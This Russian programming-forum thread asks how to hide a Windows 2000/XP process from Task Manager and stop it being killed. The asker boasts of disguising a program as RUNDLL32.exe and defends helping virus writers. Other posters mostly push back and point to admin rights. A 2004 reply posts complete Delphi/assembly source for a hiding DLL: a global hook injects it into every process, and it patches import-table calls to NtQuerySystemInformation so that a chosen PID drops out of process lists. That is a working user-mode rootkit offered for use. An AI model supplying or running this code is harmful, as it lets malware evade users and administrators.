| Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате |
| Форум программистов > Delphi: WinAPI и системное программирование > как убрать программу из диспетчера задач... |
| Автор: X-Vlad 12.11.2002, 01:19 | ||
| 1) как спрятать программу из диспетчера задач в 2000\ХР Винде? 2) как зделать чтобы мою программу нельзя было снять в диспетчере задач в 2000\ХР Винде? например как процессы Winlogon? когда я пытаюсь зделать:
говорит что такой процедуры нету в данной DLL |
| Автор: Song 12.11.2002, 01:30 |
| Только для w9x. блин, сколько троящиков-то развелось |
| Автор: Vex 12.11.2002, 03:30 | ||
Человек программу для комп. клуба пишет, а ты на него троянщик X-Vlad, а зачем в компьютерном клубе НТ, вель для игр оптимальный вариант - 9х? Ну если НТ, так ИМХО можно назначить в правах пользователя запрет на вызов диспетчера задач. |
| Автор: X-Vlad 12.11.2002, 04:00 |
| Спасибо Vex. Я тоже спрашивал директора зачем он купил ХР? но ответа так и неполучил...:) я ему предлагал 98 и дешевле но он купил ХР вот и приходится писать под ХР..:( вернёмся к вопросу иожно зделать или нет? если можно то как? спасибо.... |
| Автор: Vit 12.11.2002, 04:03 |
| Какой компьютерный клуб? Вы чего? ИМХО такое только для троянов да вирусов нужно, а в компьютерном клубе всё ну уж очень просто решается - не фиг давать администраторские права пользователям, а прогу запускать с администраторскими правами, и никто ее не вырубит, а потуги скрыть из диспетчера задач процесс однозначно свидетельствует о нехороших намерениях. PS. Хе-Хе, хотел бы я посмотреть на админа компьютерного клуба, который даёт администраторские права всем пришедшим... |
| Автор: Vit 12.11.2002, 04:05 | ||
Можно, пиши виртуальный драйвер |
| Автор: Song 12.11.2002, 04:38 | ||
А ты откуда знаешь? Я, понимаешь, на форумах уже не первый день сижу, и поэтому вопрос про CAD во мне начинает уже вызывать аллергию. |
| Автор: X-Vlad 12.11.2002, 04:57 |
| Vit если бы я писал троян я бы зделал совсем по другому: делаю проект без формы и загружаю его с виндой он появляется в процесах но по аль-таб и в задачах его нету!!! а если я дам проге хорошее имя например RUNDLL32.exe то не каждый юзер будет знать что ето троян и убивать его! я уже такое делал! а сейчас внатуре пишу прогу для клуба..... насчет админских прав то я их могу давать им они всё равно ничего не зделают потому что я незагружаю explorer.exe а без него я хотел бы посмотреть что они зделают...:) вместо explorer-а я загружаю свою прогу... а для чего я хочу зделать что-бы небыло видно в задачах - потому что некоторые игры зависают и что-бы снять их юзер насобачился заходить по CTRL+ALT+DEL и снимать там задачи.... вот поетому я хочу спрятать мою прогу что=бы её не кильнули... если можешь помоги мне плз.... |
| Автор: Vex 12.11.2002, 05:00 | ||||
Он сказал это пару постингов назад в другой теме.
Song, а что такое CAD? Я так понял что это как-то относится к деструктивным действиям, если да то у меня тоже на это аллергия |
| Автор: Vit 12.11.2002, 06:11 |
| Дык в чём дело? Я же тебе сказал - не даёшь для пользователя прав админа, а свою прогу запускаешь от имени админа и убить ее он не сможет, хотя и будет видеть в процессах, а если скрыть, то я тебе тоже сказал - пиши прогу как виртуальный драйвер... |
| Автор: rhf 12.11.2002, 07:55 | ||
2 X-Vlad, ты всегда такой наивный или только по понедельникам
даже такой несообразительный человек как я додумаеться, что в таск менеджере есть кнопочка "New Task" и никакой эксплорер не нужен, а уж если так сильно хочеться, то можно как раз его и запустить.... И это далеко не единственный способ ЗЫ или ты через пару часов кинешь вопрос о супер-глобальном хуке который мониторит всю систему и отключает ALT+CTRL+DEL |
| Автор: Song 12.11.2002, 17:12 | ||
CAD - это Ctrl-Alt-Del |
| Автор: man2002ua 12.11.2002, 18:09 |
| Народ! Есть конкретный вопрос - нужен конкретный ответ! Не разводите плз, флейма. |
| Автор: Song 12.11.2002, 21:39 | ||
А нету его... |
| Автор: man2002ua 12.11.2002, 21:41 |
| Song, внимательно прочти свою подпись... Теперь скажи еще раз - ты уверен, что невозможно на все 100? |
| Автор: Song 12.11.2002, 22:35 |
| Да нет, возможно конечно, потому что возможно всё. Но не для всех |
| Автор: man2002ua 12.11.2002, 22:40 |
так отож. Кстати, могу дать свою прогу, к-я подключает свою DLL к любому другому процессу. В DLL свой поток, посему она работает, как обычное приложение... не по теме, конечно, но близко, т.к. выгрузить DLL (например из explorera.exe) можно только замочив explorer |
| Автор: Vit 13.11.2002, 00:11 |
| Song совершенно прав - возможно всё, но не для всех. ИМХО под NT/2000/XP обычное приложение не может скрыть себя из списка процессов (не могу выразить как меня радует этот факт - наверное за одно это стоит пересесть с 9х на NT), по моему мнению скрыть можно только то что запущено как драйвер. Напиши свою прогу как драйвер и она не будет видна - чем тебе не конкретный ответ. |
| Автор: man2002ua 13.11.2002, 00:30 |
| драйвер, конечно, хорошо... Но зачем мне драйвер Короче все зависит от поставленной задачи. P.S. о драйверах - у меня есть DDK98, но с тех пор как пересел на W2K - отстал от жизни... подскажите, где взять DDK 2К/NT? Может кто в Киеве живет? |
| Автор: Vit 13.11.2002, 00:43 | ||
"где взять DDK 2К/NT?" - Это давайте обсуждать отдельной темой, а то кто где живёт вообще в флейме, там кстати такая тема есть...Кто-то тут за ответы по существу ратовал. Кто же это был? |
| Автор: man2002ua 13.11.2002, 00:49 |
забываюсь иногда. Вопрос ПО-СУЩЕСТВУ: Какой механизм исп. TaskManager для просмотра списка процессов? NtQuerySystemInformation, SnapShot или реестр PERFORMANCE_DATA? Ковырял кто-нить? |
| Автор: Song 13.11.2002, 02:35 |
| NtQuerySystemInformation |
| Автор: Frikazoid 13.11.2002, 04:55 |
| А как ентот виртуальный драйв написать? |
| Автор: X-Vlad 13.11.2002, 21:11 |
| как запустить мою прогу с админскими правами? |
| Автор: X-Vlad 13.11.2002, 21:25 |
| у меня был вопрос как можно в 2000\ХР зарегистрровать свою программу с высшим приоритетом что-бы ееё немогли снять? кто-то может мне ответить на него |
| Автор: X-Vlad 13.11.2002, 21:32 |
| может както можна отключить нажатие ctrl+alt+del? в 2000 ХР |
| Автор: Vit 13.11.2002, 23:16 | ||
Переписать Kernel для винды |
| Автор: Vit 13.11.2002, 23:17 | ||
Приоретет тут не причём, приоретет показывает только на процент времени котиорый забирает программа от процессора а не её администраторские права |
| Автор: Vit 13.11.2002, 23:18 | ||
Я поищу, я где-то видел, но уже не помню где - запуск от имени другого польователя. |
| Автор: Song 13.11.2002, 23:26 |
| CreateProcessAsUser() |
| Автор: Vex 14.11.2002, 00:03 | ||||
http://www.sources.ru/cpp/system/ctrl_alt_del_winxp.shtml почитайте. |
| Автор: Song 14.11.2002, 00:15 |
| 1.Всё это мы читали и давно знаем. Просто вирусописателям говорить о таких ресурсах нельзя. Я бы посоветовал Vit'у удалить ссылку. 2.CAD нельзя заблокировать хуком. Ключ в реестре действует, да. Но его можно также удалить как и поставили. И причём и через реестр и через gpedit.msc 3.Также не забудем что менеджер процессов - это программа. Поэтому её можно запустить по-всякому, а не только через CAD. Так пролетел ты с CAD'ом |
| Автор: man2002ua 14.11.2002, 00:19 |
| если интересует только "менеджер процессов", то почему бы не фильтровать его список? |
| Автор: Vit 14.11.2002, 00:37 | ||
Что ты имеешь ввиду? Посылать сообщения в окно и убирать какие-то значения? Так у меня стоит свой TaskMan, откуда ты узнаешь какой стоит на компьютере. Вообще-то меня так же как и на Song эта тема действует как красная тряпка на быка. На фига нужны эти извороты! Создана такая замечательная ось в которой есть несколько неблокируемых сочетаний клавишь и всегда правильный список процессов - это очень классно, очень помогает в повседневной работе, очень полезно в отлавливании всяких вредоносных програм, и тут же начинается муссирования как это обойти. ЗАЧЕМ? Если вы хотите запретить пользователю делать что-то, то вместо того чтобы городить какую-то фигню, возьмите букварь по администрированию 2000/XP и прочитайте как это делается по-человечески, там всё предусмотренно, там столько возможностей настроек ограничений доступа, что на мой взгляд даже особо извращённый и щепетильный в таких вопросах сисадмин не сможет найти применение половине имеющихся возможностей по ограничению каких-либо прав пользователей. А все почему-то хотят сделать по дегенеративному - сначала дать пользователю администраторские права, а затем приложить титанические усилия в ограничении этих прав. Я могу придумать только 2 причины, почему могут возникать вопросы этого типа - либо вы пишете что-то вредоносное, либо вам позарез надо ознакомиться с работой в среде 2000/XP и получить необходимый багаж знаний чтобы эти вопросы перестали вас беспокоить. В этом случае скорее последнее, раз уж путают приорететы с уровнями доступа. |
| Автор: man2002ua 14.11.2002, 00:45 |
| хмм... Если кому-то тема не нравиться, то почему бы просто не обращать внимание на нее? И почему идет разделение на чайников и вирусо-трояно-писателей? Мне допустим просто интересно, если ли подобная возможность или нет... |
| Автор: Vit 14.11.2002, 00:48 | ||
Мне тоже интересно, а вот некоторым не терпится этот интерес реализовать, а после удивляемся что каждый день появляется десяток новых вирусов, червей и троянов - так мы их же сами и плодим, во всяком случае активно помогаем. |
| Автор: man2002ua 14.11.2002, 00:53 |
| почти убедил... недавно сам боролся с klez... пренеприятно |
| Автор: man2002ua 15.11.2002, 00:41 |
| Попробуйте замочить TaskManager-ом (обычным конечно) http://man2002ua.hotbox.ru/InjHook.rar |
| Автор: Song 15.11.2002, 01:39 |
| Я снял через FAR А чтобы снять твой хук нужно просто включить DEBUG привелегию. |
| Автор: man2002ua 15.11.2002, 01:43 |
| ессесно. Есть еще ОЧ-Ч-ЧЕНЬ много способов снять ее, показан принцип и все. Можно ловить и выставление привилегий |
| Автор: X-Vlad 18.11.2002, 01:43 |
| почему Вы боитесь вирусописателей и в етом я невижу проблемы.... не каждый вирусописатель кидает свои роботы в и-нет... может человеку на фирме где он работает испортили что-нить и он захотел написать вирус что-бы отомстить начальству зашол на форум задать вопрос и ему вот так вот ответили "- ненадо вирусописателям помагать!", а поставте себя на его место.... вам приятно будет услышать такой ответ Я вам даю 100% что настоящии вирусописатели которые пишут вирусы c которыми мы часто боримся на форум не ходят..... Мне например надо что-бы юзер который играет в моем клубе немог кильнуть мою прогу. Поетому я и задал такой вопрос... а мне в ответ зачем помагать вирусописателям..... уважаемые модераторы! Вы можете меня попереть из етого форума но я скажу свою точку зрения - всегда надо помагать другим даже если ето вирусописатель... если выборочно помагать людям то что из етого всего получится? зачем тогда етот форум нужен? P.S. Vex спасибо за ответ... ты мне очень помог...... |
| Автор: Vex 18.11.2002, 02:16 | ||||
Не надо на людей говорить вирусописатели!
В Киеве пару дней назад взорвалась маршрутка, взорвалось самодельное взрывное устройство (~350г. тротилла) в кармане одного инженера - любителя, который любил мастерить всякие бомбочки и т.д., взорвалась случайно - когда он дверь закрывал, то ненароком нажал на кнопку. Он тоже не планировал взрывать устройство. Аналогия, думаю, понятна. Вирусописателям ИМХО, помогать нельзя, кто знает какие там у него намерения, может ему что-то в голову стукнет, сейчас столько придурков развелось, это все-равно, что раздать всем желающим прохожим автоматы. НУ если уж и пошла тема про вирусы (прости, модератор) то мне кажется что профессиональный вирусописатель никогда не будет задавать вопросов по поводу написания вируса, так как для него важен сам процес, а новичок, который хочет нанести максимальный вред и выпендрится перед друзьями каждый раз будет бросать на форумы постинги типа как мне написать вирус, троян и т.д., таких ИМХО, надо просто игнорировать. И тем более это противозаконно.
ИМХО, в моих ответах было меньше всего нужной информации |
| Автор: Song 18.11.2002, 19:29 |
| Человек может писать вирусы, если он полностью ответственнен за свой код. Термин "полностью ответственнен" означает, что он знает и понимает ЧТО он пишет и к чему это может привести, также это значит, что он ЗНАЕТ как его написать, не спрашивая других. Такого человека можно уважать, потому что вирусописатель должен обладать недюжинными знаниями, чтобы написать и минимизировать свой вирус по занимаемому объёму. А люди, которые не знают как писать вирусы и спрашивают об этом на форумах, надеясь получить готовенькое, похожи на школьников, которые хотят нашкодить, хоть в чём-то бы, но нашкодить. Таким школьникам прощения нет. Вот это моё ИМХО. |
| Автор: Fantasist 19.11.2002, 09:17 | ||
А так же его можно жалеть, потому что он не находят конструктивного применения своим знаниям, и не любить, потому как с такими вирусами и бороться тяжелее. |
| Автор: X-Vlad 20.11.2002, 01:53 | ||
| Я думаю что Вы со мной согласитесь что люди которые пишут вирусы (Codered и другие популярные вирусы) на форумы не ходят задавать вопросы..... так же как и хакеры.. (покажите мне хоть одного хакера который задаёт вопросы на форуме) есть просто форумы которые организовали хакеры.... Боротся с вирусами ето работа "Касперского", "Nortona" и т.д. мы за ети программы платим деньги... и помоему каждый ими полшьзуется! я не профи в программировании но и не начинающий по етому у меня бывают вопросы ответы на которые я хочу получить здесь (етот форум мне нравится и я сюда постоянно захожу когда у меня есть вопросы)... может они комуто покажутся такими как будто я пишу вирусы - ето не так. Я пишу программы за которые хочу получить деньги.... хотябы на сигареты и пиво...:), а что с того что я напишу вирус? я с етого ничего не получу! Может кто-то скажет что можна получить деньги за написание вируса - я с етим согласен - но ето надо ещё поискать клиента.... если-бы я хотел написать вирус и не знал как я бы задал вопрос здесь на форуме!
не сравнивай ... с пальцем... помоему в Росии и Украине ещё не один вирус(компьютерный) не убил человека.... |
| Автор: Vex 20.11.2002, 02:05 | ||
не сравнивай ... с пальцем... помоему в Росии и Украине ещё не один вирус(компьютерный) не убил человека....[/QUOTE] Лично у меня было пару моментов, когда от работоспособности компьютера зависела моя дальнейшая жизнь, то есть ее ход, если бы в тот момент какой-то гад написал и заразил компьютер вирусом, я бы его разорвал на части. X-Vlad, я лично думаю, что ты не пишешь вирус, и думаю многие так думают |
| Автор: AntonSaburov 20.11.2002, 02:44 |
| Немного странный флейм. Сейчас на работе спокойно, можно расслабиться и поболтать Просто надо тверд запомнить, что ты не просто пишешь программы. ТЫ РЕШАЕШЬ ПРОБЛЕМУ. Если она решается без программ, то нафига вообще покупать комп. И предложения по поводу скрытых программ именно из этого все и сиходили - можно все сделать более приличными методами, которые надо тоже пробовать. Если надо написать программу, которая пишет Hello, World !!! так и надо написать батничек @echo off echo Hello, World !!! @echo on И нефиг придумывать что-то более сложное. ПРОБЛЕМУ надо решать !!! А не механизмы искать непонятно для чего. |
| Автор: Medved 20.11.2002, 04:14 | ||||
Почему? Помоему ты слишком категоричен. Я иногда пишу и просто так, чтобы повысить свой профессиональный уровень, или изучить какую-либо возможность....
Если бы все так думали, то мы сейчас до сих пор бы ходили в шкурах, с каменным топорами |
| Автор: AntonSaburov 20.11.2002, 21:16 | ||||
Я не призываю к тому, чтобы не писать сложных программ. Я призываю к тому, чтобы не усложнять. И подходить к решению комплексно - сначала наметить цель а потом искать средства и решения. Если мне реально потребуется JBoss+JSP+SQL+XML+XSLT+SOAP+Apache+CORBA ..., никуда не денусь - буду учить, пробовать, разбираться. Но если можно решить все проще, более цивильно, то надо решать именно так - это IMHO. |
| Автор: Pathfider 14.7.2004, 17:33 | ||||
| X-Vlad Попробуй вот этот код:[code]library Hide; uses Windows, TlHelp32; type SYSTEM_INFORMATION_CLASS = ( SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation ); _IMAGE_IMPORT_DESCRIPTOR = packed record case Integer of 0:( Characteristics: DWORD); 1:( OriginalFirstThunk:DWORD; TimeDateStamp:DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD); end; IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR; PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR; PFARPROC=^FARPROC; const ImagehlpLib = 'IMAGEHLP.DLL'; function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool; DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib name 'ImageDirectoryEntryToData'; function AllocMem(Size: Cardinal): Pointer; begin GetMem(Result, Size); FillChar(Result^, Size, 0); end; procedure ReplaceIATEntryInOneMod(pszCallerModName:Pchar;pfnCurrent:FarProc;pfnNew:FARPROC;hmodCaller:hModule); var ulSize:ULONG; pImportDesc:PIMAGE_IMPORT_DESCRIPTOR;pszModName:PChar; pThunk:PDWORD; ppfn:PFARPROC;ffound:LongBool;written:DWORD; begin pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); if pImportDesc = nil then exit; while pImportDesc.Name<>0 do begin pszModName := PChar(hmodCaller + pImportDesc.Name); if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; Inc(pImportDesc); end; if (pImportDesc.Name = 0) then exit; pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk); while pThunk^<>0 do begin ppfn := PFARPROC(pThunk); fFound := (ppfn^ = pfnCurrent); if (fFound) then begin VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written); WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written); exit; end; Inc(pThunk); end; end; var addr_NtQuerySystemInformation:Pointer; mypid:DWORD; fname:PCHAR; mapaddr:PDWORD; hideOnlyTaskMan:PBOOL; { By Wasm.ru} function myNtQuerySystemInfo(SystemInformationClass:SYSTEM_INFORMATION_CLASS;SystemInformation:Pointer; SystemInformationLength:ULONG;ReturnLength:PULONG):LongInt;stdcall; label onceagain,getnextpidstruct,quit,fillzero; asm push ReturnLength push SystemInformationLength push SystemInformation push dword ptr SystemInformationClass call dword ptr [addr_NtQuerySystemInformation] or eax,eax jl quit cmp SystemInformationClass,SystemProcessesAndThreadsInformation jne quit onceagain: mov esi,SystemInformation getnextpidstruct: mov ebx,esi cmp dword ptr [esi],0 je quit add esi,[esi] mov ecx,[esi+44h] cmp ecx,mypid jne getnextpidstruct mov edx,[esi] test edx,edx je fillzero add [ebx],edx jmp onceagain fillzero: and [ebx],edx jmp onceagain quit: mov Result,eax end; procedure InterceptFunctions; var hSnapShot:THandle;me32:MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32); repeat ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule); until not Module32Next(hSnapShot,me32); finally CloseHandle(hSnapShot); end; end; procedure UninterceptFunctions; var hSnapShot:THandle;me32:MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32); repeat ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule); until not Module32Next(hSnapShot,me32); finally CloseHandle(hSnapShot); end; end; var HookHandle: THandle; function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall; begin Result:=0; end; procedure InstallHook; stdcall; begin HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); end; var hFirstMapHandle:THandle; function HideProcess(pid:DWORD;HideOnlyFromTaskManager:BOOL):BOOL;stdcall; var addrMap:PDWORD;ptr2:PBOOL; begin mypid:=0; result:=false; hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping'); if hFirstMapHandle=0 then exit; addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8); if addrMap=nil then begin CloseHandle(hFirstMapHandle); exit; end; addrMap^:=pid; ptr2:=PBOOL(DWORD(addrMap)+4); ptr2^:=HideOnlyFromTaskManager; UnmapViewOfFile(addrMap); InstallHook; result:=true; end; exports HideProcess; var hmap:THandle; procedure LibraryProc(Reason: Integer); begin if Reason=DLL_PROCESS_DETACH then if mypid>0 then UninterceptFunctions() else CloseHandle(hFirstMapHandle); end; begin hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping'); if hmap=0 then exit; try mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0); if mapaddr=nil then exit; mypid:=mapaddr^; hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4); if hideOnlyTaskMan^ then begin fname:=allocMem(MAX_PATH+1); GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1); // if not (ExtractFileName(fname)='taskmgr.exe') then exit; end; InterceptFunctions; finally UnmapViewOfFile(mapaddr); CloseHandle(Hmap); DLLProc:=@LibraryProc; end; end. Текст програмки, прячущей саму себя: Код program HideProj; uses windows,messages; function HideProcess(pid:DWORD;HideOnlyFromTaskManager:BOOL):BOOL; stdcall; external 'hide.dll'; function ProcessMessage(var Msg: TMsg): Boolean; var Handled: Boolean; begin Result := False; begin Result := True; if Msg.Message <> WM_QUIT then begin Handled := False; begin TranslateMessage(Msg); DispatchMessage(Msg); end; end end; end; procedure ProcessMessages; var Msg: TMsg; begin while ProcessMessage(Msg) do {loop}; end; begin HideProcess(GetCurrentProcessId,false); while true do begin ProcessMessages; end; end. Только не пробовал без создания DLL обойтись Добавлено @ 17:35 X-Vlad Попробуй вот этот код:
Только не пробовал без создания DLL обойтись Добавлено @ 17:36 X-Vlad Попробуй вот этот код:
Только не пробовал без создания DLL обойтись |
| Автор: SoftLines 15.7.2004, 22:54 |
| А на сайте самореклама там в форуме есть F.A.Q. там есть блокировка ALT+CTRL+DEL и ещё можно ALT+TAB! Успехов! |
| Автор: _hunter 17.7.2004, 11:17 |
| ты по своей ссылке холить пробовал? |
| Автор: p0s0l 17.7.2004, 11:32 | ||
Pathfider, этот код я вижу за последнюю неделю уже раз пятый-шестой. Тем таких создавалось немало. И что щас, каждый, кому не лень, будет выкапывать старые темы, и постить туда этот код ?...
|
| Автор: RA 17.7.2004, 13:55 |
| Господа, вообще у нас не принято, переписывать код из одной темы и кидать в другую, как будто это ваш собственный код. Обычно для этого используется ссылка на тот топик где вы это взяли. Применительно к этому коду используется вот эта ссылка: http://forum.vingrad.ru/index.php?showtopic=25633 Авторство принадлежит не мне, автор unknown (не извесен). |
| Автор: Akella 31.8.2004, 13:02 | ||
Абсолютно с тобой согласен. Мне кажется человек просто хочет доказать сам себе, что он крут. Не забывайте, что над виндой трудились не дураки и не дохлая кучка из 3-4 человек. |